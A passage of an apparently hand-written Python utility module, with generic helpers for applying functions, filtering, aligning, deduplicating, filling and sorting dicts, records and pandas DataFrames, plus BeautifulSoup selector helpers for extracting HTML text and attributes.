Optional[ApplyFunction]=list(),\r\n                    apply: Optional[ApplyFunction]=None, all_keys=False, scope: Literal[\"keys\",\"dict\"]=\"keys\",\r\n                    __default=None, **context) -> Records:\r\n    if not __r: return __r\r\n    elif scope == \"keys\":\r\n        return [apply_dict(__m, __keys, __applyFunc, all_keys=all_keys, apply=apply, **context) for __m in __r]\r\n    elif scope == \"dict\":\r\n        return [apply(__m) for __m in __r]\r\n    else: return list()\r\n\r\n\r\ndef apply_df(df: PandasData, __columns: Optional[IndexLabel]=list(), __applyFunc: Optional[ApplyFunction]=list(),\r\n            apply: Optional[ApplyFunction]=None, all_cols=False, __default: _PASS=None, **context) -> pd.DataFrame:\r\n    if df.empty: return df\r\n    elif isinstance(df, pd.Series):\r\n        return pd.Series(apply_dict(df.to_dict(), __columns, __applyFunc, apply, all_cols, **context))\r\n    if all_cols: return df.copy().apply({__column: apply for __column in df.columns})\r\n    context = map_context(__columns, __applyFunc, __default=apply, **context)\r\n    context = {str(__column): __apply for __column, __apply in context.items() if __column in df}\r\n    return df.copy().apply(context)\r\n\r\n\r\ndef safe_apply_df(__object: PandasData, __applyFunc: ApplyFunction, default: Union[PandasData,Sequence,Any]=None,\r\n                    by: Literal[\"row\",\"cell\"]=\"row\", **context) -> PandasData:\r\n    __object = __object.copy()\r\n    if isinstance(__object, pd.Series):\r\n        __object = __object.apply(lambda x: safe_apply(x, __applyFunc, **context))\r\n    elif isinstance(__object, pd.DataFrame):\r\n        if by == \"row\":\r\n            __object = __object.apply(lambda x: safe_apply(x, __applyFunc, **context), axis=1)\r\n        elif by == \"cell\":\r\n            for __column in __object.columns:\r\n                __object[__column] = safe_apply_df(__object[__column].copy(), __applyFunc, **context)\r\n    return fillna_data(__object, default)\r\n\r\n\r\ndef apply_data(data: Data, __keys: Optional[Union[_KT,Index]]=list(), __applyFunc: Optional[ApplyFunction]=list(),\r\n                apply: Optional[ApplyFunction]=None, all_keys=False, default=None, **context) -> Data:\r\n    if isinstance(data, Dict): return apply_dict(data, __keys, __applyFunc, apply=apply, all_keys=all_keys, **context)\r\n    if is_records(data): return apply_records(data, __keys, __applyFunc, apply=apply, all_keys=all_keys, **context)\r\n    elif isinstance(data, PANDAS_DATA): return apply_df(data, __keys, __applyFunc, apply=apply, all_cols=all_keys, **context)\r\n    elif is_array(data): return apply_array(data, __keys, __applyFunc, apply=apply, all_indices=all_keys, **context)\r\n    else: return safe_apply(data, apply, default=default, **context)\r\n\r\n\r\n###################################################################\r\n############################## Match ##############################\r\n###################################################################\r\n\r\ndef map_match(__keys: Optional[_KT]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n                __default=None, **context) -> Context:\r\n    context = map_context(__keys, __matchFunc, __default, **context)\r\n    return {__key: (__match if isinstance(__match, Callable) else lambda x: x == __match)\r\n            for __key, __match in context.items()}\r\n\r\n\r\ndef match_array(__s: IndexedSequence, __indices: Optional[Index]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n                match: Optional[MatchFunction]=None, all_indices=False, how: Literal[\"filter\",\"all\",\"indexer\"]=\"filter\",\r\n                __default=None, **context) -> Union[IndexedSequence,_BOOL]:\r\n    if not __s: return False if how == \"all\" else list()\r\n    elif all_indices:\r\n        return match_array(__s, how=how, **dict(list(range(len(__s))), [match]*len(__s)))\r\n    context = map_match(__indices, __matchFunc, __default=match, **context)\r\n    matches = {__i: safe_apply(__s[__i], __match, False) for __i, __match in context.items() if abs_idx(__i) < len(__s)}\r\n    if how == \"filter\":\r\n        return [__s[__i] for __i, __match in matches.items() if __match]\r\n    else: return all(matches.values()) if how == \"all\" else list(matches.values())\r\n\r\n\r\ndef match_dict(__m: Dict, __keys: Optional[_KT]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n                match: Optional[MatchFunction]=None, all_keys=False, how: Literal[\"filter\",\"all\",\"indexer\"]=\"filter\",\r\n                __default: _PASS=None, **context) -> Union[Dict,bool]:\r\n    if not __m: return False if how == \"all\" else dict()\r\n    elif all_keys:\r\n        return safe_apply(__m, match, False)\r\n    context = map_match(__keys, __matchFunc, __default=match, **context)\r\n    matches = {__key: safe_apply(__m[__key], __match, False) for __key, __match in context.items() if __key in __m}\r\n    if how == \"filter\":\r\n        return {__key: __m[__key] for __key, __match in matches.items() if __match}\r\n    else: return all(matches.values()) if how == \"all\" else matches\r\n\r\n\r\ndef match_records(__r: Records, __keys: Optional[_KT]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n                match: Optional[MatchFunction]=None, all_keys=False, how: Literal[\"filter\",\"all\",\"indexer\"]=\"filter\",\r\n                scope: Literal[\"keys\",\"dict\"]=\"keys\", __default=None, **context) -> Union[Records,_BOOL]:\r\n    if not __r: return False if how == \"all\" else list()\r\n    elif scope == \"keys\":\r\n        matches = [match_dict(__m, __keys, __matchFunc, all_keys, match, how=\"all\", **context) for __m in __r]\r\n    elif scope == \"dict\":\r\n        matches = [safe_apply(__m, match, default=False, **context) for __m in __r]\r\n    else: matches = [False] * len(__r)\r\n    return iloc(__r, matches, if_null=\"drop\") if how == \"filter\" else (all(matches) if how == \"all\" else matches)\r\n\r\n\r\ndef match_df(df: PandasData, __columns: Optional[IndexLabel]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n            match: Optional[MatchFunction]=None, all_cols=False, how: Literal[\"filter\",\"all\",\"indexer\"]=\"filter\",\r\n            __default: _PASS=None, **context) -> Union[pd.DataFrame,pd.Series,bool]:\r\n    if df.empty: return False if how == \"all\" else (df if how == \"filter\" else pd.Series(dtype=bool))\r\n    context = map_match(__columns, __matchFunc, __default=match, **context)\r\n    matches = apply_df(df, all_cols=all_cols, **context).all(axis=1)\r\n    if how == \"filter\": return df[matches]\r\n    else: return matches.all(axis=0) if how == \"all\" else matches\r\n\r\n\r\ndef match_data(data: Data, __keys: Optional[Union[_KT,Index]]=list(), __matchFunc: Optional[MatchFunction]=list(),\r\n                match: Optional[MatchFunction]=None, all_keys=False, how: Literal[\"filter\",\"all\",\"indexer\"]=\"filter\",\r\n                fields: Optional[Union[_KT,Index]]=list(), default=None, **context) -> Data:\r\n    if isinstance(data, Dict): return match_dict(data, __keys, __matchFunc, match=match, all_keys=all_keys, how=how, **context)\r\n    if is_records(data): return match_records(data, __keys, __matchFunc, match=match, all_keys=all_keys, how=how, **context)\r\n    elif isinstance(data, PANDAS_DATA): return match_df(data, __keys, __matchFunc, match=match, all_cols=all_keys, how=how, **context)\r\n    elif is_array(data): return match_array(data, __keys, __matchFunc, match=match, all_indices=all_keys, how=how, **context)\r\n    else: return safe_apply(data, match, default=default, **context)\r\n\r\n\r\n###################################################################\r\n############################# Select ##############################\r\n###################################################################\r\n\r\ndef clean_html(__object: str) -> str:\r\n    return BeautifulSoup(cast_str(__object), \"lxml\").text\r\n\r\n\r\ndef clean_tag(__object: str) -> str:\r\n    return re.sub(\"<[^>]*>\", \"\", cast_str(__object))\r\n\r\n\r\ndef _from_selector(selector: _KT, index: Optional[Unit]=None) -> Tuple[str,Unit]:\r\n    if not (isinstance(selector, (List,str)) and selector): return str(), None\r\n    elif not isinstance(selector, List): return selector, index\r\n    selector = selector.copy()\r\n    index = selector.pop() if isinstance(selector[-1], (int,List,Tuple)) else index\r\n    return ' > '.join(selector), index\r\n\r\n\r\ndef is_single_selector(selector: _KT, hier=False, index: Optional[Unit]=None) -> bool:\r\n    if isinstance(index, int): return True\r\n    elif not hier: return not is_2darray(selector, how=\"any\")\r\n    elif not is_array(selector): return True\r\n    elif len(selector) == 1: return not is_array(selector[0])\r\n    else: return all(\r\n        [(not is_2darray(__s, how=\"any\")) and isinstance(_from_selector(__s)[1], int) for __s in selector[:-1]])\r\n\r\n\r\ndef select(source: Tag, selector: _KT, index: Optional[Unit]=None) -> Union[Tag,List[Tag]]:\r\n    selector, index = _from_selector(selector, index=index)\r\n    if not selector: return source\r\n    elif index == 0: return source.select_one(selector)\r\n    elif not index: return source.select(selector)\r\n    else: return iloc(source.select(selector), index)\r\n\r\n\r\ndef select_one(source: Tag, selector: _KT) -> Tag:\r\n    selector, _ = _from_selector(selector)\r\n    if not selector: return source\r\n    else: return source.select_one(selector)\r\n\r\n\r\ndef select_text(source: Tag, selector: _KT, index: Optional[Index]=None, sep=str(), strip=True) -> Union[str,List[str]]:\r\n    source = select(source, selector, index=index)\r\n    try:\r\n        if is_array(source):\r\n            return [__s.get_text(sep, strip=strip) for __s in source if isinstance(__s, Tag)]\r\n        else: return source.get_text(sep, strip=strip)\r\n    except (AttributeError, IndexError, TypeError):\r\n        return list() if is_array(source) else str()\r\n\r\n\r\ndef select_attr(source: Tag, selector: str, key: str, index: Optional[Index]=None) -> Union[str,List[str],List[List[str]]]:\r\n    source = select(source, selector, index=index)\r\n    try:\r\n        if is_array(source):\r\n            return [__s.attrs.get(key,str()) for __s in source if isinstance(__s, Tag)]\r\n        else: return source.attrs.get(key,str())\r\n    except (AttributeError, IndexError, TypeError):\r\n        return list() if is_array(source) else str()\r\n\r\n\r\n###################################################################\r\n########################### Select Path ###########################\r\n###################################################################\r\n\r\ndef _from_selector_path(__path: _KT, key=str(), text=False) -> Tuple[_KT,str,str]:\r\n    if isinstance(__path, str):\r\n        if key: return (__path, key, \"attr\")\r\n        elif __path == \"text()\": return (str(), str(), \"text\")\r\n        elif __path.startswith('@'): return (str(), __path[1:], \"attr\")\r\n        elif __path.startswith('.'): return (str(), \"class\", \"attr\")\r\n        elif __path.startswith('#'): return (str(), \"id\", \"attr\")\r\n        else: return (__path, str(), (\"text\" if text else \"source\"))\r\n    elif is_array(__path) and __path:\r\n        selector, key, by = _from_selector_path(__path[-1])\r\n        return ((__path[:-1]+[selector] if selector else __path[:-1]), key, by)\r\n    else: return (str(), str(), \"source\")\r\n\r\n\r\ndef _get_selector_name(__path: _KT, key=str(), hier=False) -> str:\r\n    path = (' > '.join([_get_selector_name(__s, key) if is_array(__s) else str(__s) for __s in __path[:-1]]) if hier else str())\r\n    if hier: __path = __path[-1]\r\n    selector, key, by = _from_selector_path(__path, key)\r\n    selector, index = _from_selector(selector)\r\n    if path: selector = ' > '.join(path, selector) if selector else path\r\n    return selector + (f\"[{index}]\" if notna(index) else str()) + (f\"[@{key}]\" if key else str())\r\n\r\n\r\ndef select_path(source: Tag, __path: _KT, default=None, index: Optional[Unit]=None, key=str(),\r\n                text=False, sep=str(), strip=True, **kwargs) -> HtmlData:\r\n    selector, key, by = _from_selector_path(__path, key, text)\r\n    try:\r\n        if by == \"text\": return select_text(source, selector, index=index, sep=sep, strip=strip)\r\n        elif by == \"attr\": return select_attr(source, selector, key, index=index)\r\n        else: return select(source, selector, index=index)\r\n    except: return default\r\n\r\n\r\ndef hier_select(source: Tag, __path: _KT, default=None, index: Optional[Unit]=None, key=str(),\r\n                text=False, sep=str(), strip=True, **kwargs) -> HtmlData:\r\n    try:\r\n        if is_array(__path):\r\n            for selector in __path[:-1]:\r\n                source = select(source, selector)\r\n            __path = __path[-1] if __path else str()\r\n        return select_path(source, __path, default, index, key, text, sep, strip)\r\n    except: return default\r\n\r\n\r\n###################################################################\r\n############################## Align ##############################\r\n###################################################################\r\n\r\ndef get_exists_index(__s: Sequence, strict=False) -> List[int]:\r\n    return [__i for __i, __e in enumerate(__s) if exists(__e, strict=strict)]\r\n\r\n\r\ndef get_unique_index(__s: Sequence) -> List[int]:\r\n    indices, __mem = list(), set()\r\n    for __i, __e in enumerate(__s):\r\n        if __e not in __mem:\r\n            __mem.add(__e)\r\n            indices.append(__i)\r\n    return indices\r\n\r\n\r\ndef align_index(*args: Sequence, how: Literal[\"min\",\"max\",\"first\"]=\"min\",\r\n                dropna=False, strict=False, unique=False) -> List[int]:\r\n    args = (args[0],) if how == \"first\" else args\r\n    count = max(map(len, args)) if how == \"max\" else min(map(len, args))\r\n    indices = set(range(0, count))\r\n    if dropna: indices = arg_and(indices, *map(set, map(lambda __s: get_exists_index(__s, strict=strict), args)))\r\n    if unique: indices = arg_and(indices, *map(set, map(get_unique_index, args)))\r\n    return sorted(indices)\r\n\r\n\r\ndef align_array(*args: Sequence, how: Literal[\"min\",\"max\",\"first\"]=\"min\", default=None,\r\n                dropna=False, strict=False, unique=False) -> Tuple[List]:\r\n    args = [cast_list(__s) for __s in args]\r\n    indices = align_index(*args, how=how, dropna=dropna, strict=strict, unique=unique)\r\n    return tuple([__s[__i] if __i < len(__s) else default for __i in indices] for __s in args)\r\n\r\n\r\ndef align_dict(__m: Dict[_KT,Sequence], how: Literal[\"min\",\"max\"]=\"min\", default=None,\r\n                strict=False, dropna=False, unique=False) -> Dict[_KT,List]:\r\n    if not __m: return dict()\r\n    indices = align_index(*map(list, __m.values()), how=how, strict=strict, dropna=dropna, unique=False)\r\n    if dropna or unique:\r\n        return {__key: iloc(__value, indices, if_null=\"drop\") for __key, __value in __m.items()}\r\n    else: return {__key: iloc(__value, indices, default=default, if_null=\"pass\") for __key, __value in __m.items()}\r\n\r\n\r\ndef align_records(__r: Records, default=None, forward=True) -> Records:\r\n    keys = unique_keys(__r, forward=forward)\r\n    return [kloc(__m, keys, default=default, if_null=\"pass\") for __m in __r if isinstance(__m, Dict)]\r\n\r\n\r\n###################################################################\r\n############################# Between #############################\r\n###################################################################\r\n\r\ndef between(__object: Comparable, left=None, right=None,\r\n            inclusive: Literal[\"both\",\"neither\",\"left\",\"right\"]=\"both\", **kwargs) -> bool:\r\n    match_left = ((left is None) or (__object >= left if inclusive in [\"both\",\"left\"] else __object > left))\r\n    match_right = ((right is None) or (__object <= right if inclusive in [\"both\",\"right\"] else __object < right))\r\n    return match_left & match_right\r\n\r\n\r\ndef between_dict(__m: Dict, __keys: Optional[_KT]=list(), __ranges: Optional[BetweenRange]=list(),\r\n                inclusive: Literal[\"both\",\"neither\",\"left\",\"right\"]=\"both\", null=False,\r\n                __default: _PASS=None, **context) -> bool:\r\n    match = True\r\n    for __key, __range in map_context(__keys, __ranges, **context).items():\r\n        if __key in __m:\r\n            if is_array(__range): match &= between(__m[__key], *__range[:2], inclusive=inclusive)\r\n            elif isinstance(__range, dict): match &= between(__m[__key], **__range, inclusive=inclusive)\r\n            else: raise ValueError(BETWEEN_RANGE_TYPE_MSG)\r\n        elif not null: return False\r\n    return match\r\n\r\n\r\ndef between_records(__r: Records, __keys: Optional[_KT]=list(), __ranges: Optional[BetweenRange]=list(),\r\n                    inclusive: Literal[\"both\",\"neither\",\"left\",\"right\"]=\"both\", null=False,\r\n                    __default=None, **context) -> Records:\r\n    return [__m for __m in __r\r\n            if between_dict(__m, __keys, __ranges, inclusive=inclusive, null=null, **context)]\r\n\r\n\r\ndef between_df(df: pd.DataFrame, __columns: Optional[IndexLabel]=list(), __ranges: Optional[BetweenRange]=list(),\r\n                inclusive: Literal[\"both\",\"neither\",\"left\",\"right\"]=\"both\", null=False,\r\n                __default: _PASS=None, **context) -> pd.DataFrame:\r\n    df, df.copy()\r\n    kwargs = {\"inclusive\": inclusive}\r\n    for __column, __range in map_context(__columns, __ranges, **context).items():\r\n        if __column in df and isinstance(__column, str):\r\n            if_na = pd.Series([False]*len(df), index=df.index) if not null else df[__column].isna()\r\n            if is_array(__range): df = df[df[__column].apply(lambda x: between(x, *__range[:2], **kwargs))|if_na]\r\n            elif isinstance(__range, dict): df = df[df[__column].apply(lambda x: between(x, **__range, **kwargs))|if_na]\r\n            else: raise ValueError(BETWEEN_RANGE_TYPE_MSG)\r\n    return df\r\n\r\n\r\ndef between_data(data: MappingData, inclusive: Literal[\"both\",\"neither\",\"left\",\"right\"]=\"both\",\r\n                null=False, **context) -> MappingData:\r\n    if is_records(data): return between_records(data, inclusive=inclusive, null=null, **context)\r\n    elif isinstance(data, pd.DataFrame): return between_df(data, inclusive=inclusive, null=null, **context)\r\n    elif isinstance(data, Dict): return data if between_dict(data, inclusive=inclusive, null=null, **context) else dict()\r\n    else: return between(data, inclusive=inclusive, **context)\r\n\r\n\r\n###################################################################\r\n############################### Drop ##############################\r\n###################################################################\r\n\r\ndef drop_dict(__m: Dict, keys: _KT, inplace=False) -> Dict:\r\n    if not inplace: __m = __m.copy()\r\n    for __key in cast_tuple(keys):\r\n        if __key in __m:\r\n            __m.pop(__key, None)\r\n    if not inplace: return __m\r\n\r\n\r\ndef split_dict(__m: Dict, keys: _KT) -> Tuple[Dict,Dict]:\r\n    keys = cast_tuple(keys)\r\n    return kloc(__m, keys, if_null=\"drop\"), drop_dict(__m, keys, inplace=False)\r\n\r\n\r\ndef drop_records(__r: Records, keys: _KT) -> Records:\r\n    return [drop_dict(__m, keys, inplace=False) for __m in __r]\r\n\r\n\r\ndef drop_df(df: PandasData, columns: IndexLabel) -> PandasData:\r\n    if isinstance(df, pd.DataFrame):\r\n        return df.drop(columns=inter(df.columns, cast_tuple(columns)))\r\n    elif isinstance(df, pd.Series):\r\n        return df.drop(inter(df.index, cast_tuple(columns)))\r\n    else: return df\r\n\r\n\r\ndef drop_data(data: MappingData, __keys: Optional[_KT]=list()) -> Data:\r\n    if is_records(data): return drop_records(data, __keys)\r\n    elif isinstance(data, PANDAS_DATA): return drop_df(data, __keys)\r\n    elif isinstance(data, Dict): return drop_dict(data, __keys, inplace=False)\r\n    else: return data\r\n\r\n\r\n###################################################################\r\n############################ Duplicated ###########################\r\n###################################################################\r\n\r\ndef diff_dict(*args: Dict, skip: IndexLabel=list(), keep: Literal[\"fist\",\"last\"]=\"fist\") -> Tuple[Dict]:\r\n    duplicates = arg_and(*map(lambda x: set(x.keys), args)) - cast_set(skip)\r\n    keep = len(args)-1 if keep == \"last\" else 0\r\n    return tuple((__m if __i == keep else drop_dict(__m, duplicates, inplace=False)) for __i, __m in enumerate(args))\r\n\r\n\r\ndef diff_df(*args: pd.DataFrame, skip: IndexLabel=list(),\r\n            keep: Literal[\"fist\",\"last\"]=\"first\") -> Tuple[pd.DataFrame]:\r\n    duplicates = arg_and(*map(lambda x: set(x.columns), args)) - cast_set(skip)\r\n    keep = len(args)-1 if keep == \"last\" else 0\r\n    return tuple((df if __i == keep else df.drop(columns=duplicates)) for __i, df in enumerate(args))\r\n\r\n\r\ndef drop_duplicates(__r: Records, keys: Optional[_KT]=list(), keep: Literal[\"fist\",\"last\",False]=\"first\") -> Records:\r\n    if keep == False: return _drop_duplicates_all(__r, keys)\r\n    base, history, keys = list(), list(), cast_tuple(keys)\r\n    for __m in (__r[::-1] if keep == \"last\" else __r):\r\n        values = tuple(kloc(__m, keys, if_null=\"pass\").values())\r\n        if values not in history:\r\n            base.append(__m)\r\n            history.append(values)\r\n    return (base[::-1] if keep == \"last\" else base)\r\n\r\n\r\ndef _drop_duplicates_all(__r: Records, keys: Optional[_KT]=list()) -> Records:\r\n    history, keys = defaultdict(list), cast_tuple(keys)\r\n    to_comparable = lambda x: x if is_comparable(x) else str(x)\r\n    for __i, __m in enumerate(__r):\r\n        values = tuple(map(to_comparable, kloc(__m, keys, if_null=\"pass\").values()))\r\n        history[values].append(__i)\r\n    indices = sorted(union(*[index for index in history.values() if len(index) == 1]))\r\n    return iloc(__r, indices, if_null=\"drop\")\r\n\r\n\r\n###################################################################\r\n############################### Fill ##############################\r\n###################################################################\r\n\r\ndef fill_array(__s: Sequence, count: int, value=None) -> List:\r\n    return [(__s[__i] if __i < len(__s) else value) for __i in range(count)]\r\n\r\n\r\ndef fillna_array(__s: Sequence, value=None, strict=True, depth=1) -> List:\r\n    if depth < 1: return __s\r\n    fillna = lambda __value: fillna_data(__value, value, strict=strict, depth=depth-1) if depth > 1 else __value\r\n    return [(fillna(__e) if notna(__e, strict=strict) else value) for __e in __s]\r\n\r\n\r\ndef fillna_dict(__m: Dict, value=None, strict=True, depth=1) -> Dict:\r\n    if depth < 1: return __m\r\n    fillna = lambda __value: fillna_data(__value, value, strict=strict, depth=depth-1) if depth > 1 else __value\r\n    return {__key: (fillna(__value) if notna(__value, strict=strict) else value) for __key, __value in __m.items()}\r\n\r\n\r\ndef fillna_records(__r: Records, value=None, strict=True, depth=1) -> Records:\r\n    if depth < 1: return __r\r\n    return [fillna_dict(__m, value, strict=strict, depth=depth) for __m in __r]\r\n\r\n\r\ndef fillna_df(__object: pd.DataFrame, value: Union[PandasData,Sequence,Any]=None) -> pd.DataFrame:\r\n    __object = __object.copy()\r\n    if isinstance(value, (pd.DataFrame,pd.Series,Sequence)):\r\n        if len(__object) != len(value):\r\n            raise ValueError(LENGTH_MISMATCH_MSG(__object.shape, value.shape))\r\n        elif isinstance(value, (pd.Series,Sequence)):\r\n            value = to_series(value, index=__object.index)\r\n            for __column in __object.columns:\r\n                __object[__column] = __object[__column].combine_first(value)\r\n            return __object\r\n        else: return __object.combine_first(to_dataframe(value, index=__object.index))\r\n    else: return __object.where(pd.notna(__object), value)\r\n\r\n\r\ndef fillna_series(__object: pd.Series, value: Union[pd.Series,Sequence,Any]=None) -> pd.Series:\r\n    __object = __object.copy()\r\n    if isinstance(value, (pd.Series,Sequence)):\r\n        value = to_series(value, index=__object.index)\r\n        if len(__object) != len(value):\r\n            raise ValueError(LENGTH_MISMATCH_MSG(__object.shape, value.shape))\r\n        else: return __object.combine_first(value)\r\n    else: return __object.fillna(value)\r\n\r\n\r\ndef fillna_data(__object: Union[PandasData,Records], value: Union[PandasData,Sequence,Any]=None,\r\n                strict=True, depth=1) -> Union[PandasData,Records]:\r\n    if isna_plus(value) and isinstance(__object, PANDAS_DATA): return __object\r\n    elif isinstance(__object, pd.DataFrame): return fillna_df(__object, value)\r\n    elif isinstance(__object, pd.Series): return fillna_series(__object, value)\r\n    elif is_records(__object): return fillna_records(__object, value, strict=strict, depth=depth)\r\n    elif isinstance(__object, Dict): return fillna_dict(__object, value, strict=strict, depth=depth)\r\n    elif is_array(__object): return fillna_array(__object, strict=strict, depth=depth)\r\n    else: return __object\r\n\r\n\r\n###################################################################\r\n############################### Sort ##############################\r\n###################################################################\r\n\r\ndef values_to_back(__s: Sequence, values: _VT) -> List:\r\n    return sorted(__s, key=functools.cmp_to_key(lambda x, y: -1 if y in cast_tuple(values) else 0))\r\n\r\n\r\ndef keys_to_back(__m: Dict, keys: _KT) -> Dict:\r\n    return dict(sorted(__m.items(), key=functools.cmp_to_key(lambda x, y: -1 if y[0] in cast_tuple(keys) else 0)))\r\n\r\n\r\ndef flip_dict(__m: Dict) -> Dict:\r\n    return {__v: __k for __k, __v in __m.items()}\r\n\r\n\r\ndef sort_records(__r: Records, by: _KT, ascending=True) -> Records:\r\n    return sorted(__r, key=lambda x: kloc(x, cast_tuple(by), values_only=True), reverse=(not ascending))\r\n\r\n\r\ndef sort_values(data: TabularData, by: _KT, ascending: _BOOL=True) -> Data:\r\n    asc = ascending if isinstance(ascending, bool) else bool(get_scala(ascending))\r\n    if is_records(data): return sort_records(data, by=by, ascending=asc)\r\n    elif isinstance(data, pd.DataFrame): return data.sort_values(by, ascending=ascending)\r\n    elif isinstance(data, Dict): return dict(sorted(data.items(), key=lambda x: x[0], reverse=(not asc)))\r\n    else: return sorted(data, reverse=(not asc))\r\n\r\n\r\n###################################################################\r\n############################## String #############################\r\n###################################################################\r\n\r\ndef re_get(pattern: RegexFormat, string: str, default=str(), index: Optional[int]=0) -> Union[str,List[str]]:\r\n    __pattern = pattern if isinstance(pattern, re.Pattern) else re.compile(pattern)\r\n    if not isinstance(index, int): return __pattern.findall(string)\r\n    catch = __pattern.search(string)\r\n    return __pattern.search(string).groups()[index] if catch else default\r\n\r\n\r\ndef replace_map(__string: str, **context) -> str:\r\n    for __old, __new in context.items():\r\n        __string = __string.replace(__old, __new)\r\n    return __string\r\n\r\n\r\ndef match_keyword(__string: str, __keyword: Keyword) -> bool:\r\n    pattern = re.compile('|'.join(map(re.escape, cast_list(__keyword))))\r\n    return bool(pattern.search(__string))\r\n\r\n\r\ndef startswith(__string: str, __keyword: Keyword) -> bool:\r\n    for __s in __keyword:\r\n        if __string.startswith(__s): return True\r\n    else: return False\r\n\r\n\r\ndef endswith(__string: str, __keyword: Keyword) -> bool:\r\n    for __s in __keyword:\r\n        if __string.endswith(__s): return True\r\n    else: return False\r\n\r\n\r\n###################################################################\r\n############################## Array ##############################\r\n###################################################################\r\n\r\ndef abs_idx(idx: int) -> int:\r\n    return abs(idx+1) if idx < 0 else idx\r\n\r\n\r\ndef get_index(__s: IndexedSequence, values: _VT, default=None, if_null: Literal[\"drop\",\"pass\"]=\"drop\") -> Index:\r\n    if not is_array(values):\r\n        return __s.index(values) if values in __s else default\r\n    elif not values:\r\n        return __s if if_null != \"drop\" else list()\r\n    elif if_null == \"drop\":\r\n        return [__s.index(__value) for __value in values if __value in __s]\r\n    else: return [(__s.index(__value) if __value in __s else default) for __value in values]\r\n\r\n\r\ndef get_scala(__object, index: Optional[int]=0, default=None, random=False) -> _VT:\r\n    if not is_array(__object): return __object\r\n    elif isinstance(__object, Set): return __object.copy().pop()\r\n    elif __object and random: return rand.choice(__object) if __object else default\r\n    else: return iloc(__object, index, default=default)\r\n\r\n\r\ndef map_index(__indices: Index) -> Index:\r\n    if isinstance(__indices, int): return __indices\r\n    elif is_bool_array(__indices, how=\"all\", empty=False):\r\n        return [__i for __i, __bool in enumerate(__indices) if __bool]\r\n    elif is_int_array(__indices, how=\"all\", empty=False): return __indices\r\n    else: return\r\n\r\n\r\ndef flatten(*args, iter_type: _TYPE=(List,Set,Tuple)) -> List:\r\n    return [__e for __object in args for __e in (\r\n            __object if isinstance(__object, iter_type) else cast_tuple(__object))]\r\n\r\n\r\ndef filter_array(__s: Sequence, match: MatchFunction, apply: Optional[ApplyFunction]=None) -> List:\r\n    __apply = apply if apply else (lambda x: x)\r\n    return [__apply(__e) for __e in __s if match(__s)]\r\n\r\n\r\ndef safe_len(__object, default=0) -> int:\r\n    try: return len(__object)\r\n    except: return default\r\n\r\n\r\ndef is_same_length(*args: IndexedSequence, empty=True) -> bool:\r\n    __length = set(map(safe_len, args))\r\n    return (len(__length) == 1) and (empty or (0 not in __length))\r\n\r\n\r\ndef transpose_array(__s: Sequence[Sequence], count: Optional[int]=None, unroll=False) -> List[List]:\r\n    if not __s: return list()\r\n    if unroll: __s = list(map(lambda arr: flatten(*arr), __s))\r\n    count = count if isinstance(count, int) and count > 0 else len(__s[0])\r\n    return [list(map(lambda x: x[__i], __s)) for __i in range(count)]\r\n\r\n\r\ndef unit_array(__s: Sequence, unit=1) -> List[Sequence]:\r\n    return [__s[__i:__i+unit] for __i in range(0,len(__s),unit)]\r\n\r\n\r\n###################################################################\r\n############################ DataFrame ############################\r\n###################################################################\r\n\r\ndef init_df(df: Optional[PandasData]=None, columns: Optional[IndexLabel]=None) -> PandasData:\r\n    if isinstance(df, pd.DataFrame):\r\n        return pd.DataFrame(columns=(columns if is_columns(columns) else df.columns))\r\n    elif isinstance(df, pd.Series):\r\n        return pd.Series(index=(columns if columns else df.index), dtype=df.dtypes)\r\n    else: return pd.DataFrame(columns=cast_columns(columns))\r\n\r\n\r\ndef is_columns(columns: IndexLabel) -> bool:\r\n    return is_array(columns) or isinstance(columns, PandasIndex)\r\n\r\n\r\ndef cast_columns(__object, unique=False) -> IndexLabel:\r\n    if isinstance(__object, PandasIndex):\r\n        return (__object.unique() if unique else __object).tolist()\r\n    else: return cast_list(__object)\r\n\r\n\r\ndef get_columns(df: PandasData) -> PandasIndex:\r\n    if isinstance(df, pd.DataFrame): return df.columns\r\n    elif isinstance(df, pd.Series): return df.index\r\n    else: return list()\r\n\r\n\r\ndef convert_dtypes(df: PandasData) -> PandasData:\r\n    if isinstance(df, pd.DataFrame):\r\n        df = df.copy()\r\n        for column in df.columns:\r\n            df[column] = convert_dtypes(df[column])\r\n        return df\r\n    elif isinstance(df, pd.Series):\r\n        if \"float\" in df.dtype.name:\r\n            return df.convert_dtypes()\r\n        else: return df.where(pd.notna(df), None)\r\n    else: return pd.Series(dtype=\"object\")\r\n\r\n\r\ndef merge_first(left: pd.DataFrame, right: pd.DataFrame, first: Literal[\"left\",\"right\"]=\"left\",\r\n                how: Literal[\"left\",\"right\",\"outer\",\"inner\",\"cross\"]=\"inner\",\r\n                on: Optional[IndexLabel]=None) -> pd.DataFrame:\r\n    columns = [str(column) for column in unique(*cast_list(on), *left.columns, *right.columns)]\r\n    df = left.merge(right, how=how, on=on)\r\n    if len(df.columns) == len(columns):\r\n        return df\r\n    for column in columns:\r\n        FIRST, SECOND = (\"_y\", \"_x\") if first == \"right\" else (\"_x\", \"_y\")\r\n        try: df[column] = df.pop(column+FIRST).combine_first(df.pop(column+SECOND))\r\n        except: df[column] = df.pop(column)\r\n    return df\r\n\r\n\r\ndef merge_subset(left: pd.DataFrame, right: pd.DataFrame, how: Literal[\"left\",\"right\"]=\"left\",\r\n                on: Optional[IndexLabel]=None, subset: Optional[IndexLabel]=None) -> pd.DataFrame:\r\n    if how == \"right\": left, right = right, left\r\n    on, subset = cast_list(on), cast_list(subset)\r\n    df = left.merge(right.drop_duplicates(on+subset, keep=\"first\"), how=how, on=on+subset)\r\n    for column in subset:\r\n        subright = right.drop(columns=diff(subset,[column])).drop_duplicates(on+[column], keep=\"first\")\r\n        merged = merge_first(left, subright, how=\"left\", on=on+[column])[df.columns]\r\n        df = df.combine_first(merged)\r\n    return df\r\n\r\n\r\ndef unroll_df(df: pd.DataFrame, columns: IndexLabel, values: _VT) -> pd.DataFrame:\r\n    columns, values = cast_tuple(columns), cast_tuple(values)\r\n    __get = lambda row: [row[__value] for __value in values]\r\n    __len = lambda row: min(map(len, __get(row)))\r\n    unroll_row = lambda row: [[row[__column]]*__len(row) for __column in columns]+__get(row)\r\n    map_subrow = lambda subrow: {__key: __value for __key, __value in zip(columns+values,subrow)}\r\n    map_row = lambda row: pd.DataFrame([map_subrow(subrow) for subrow in zip(*unroll_row(row))])\r\n    return pd.concat([map_row(row) for _,row in 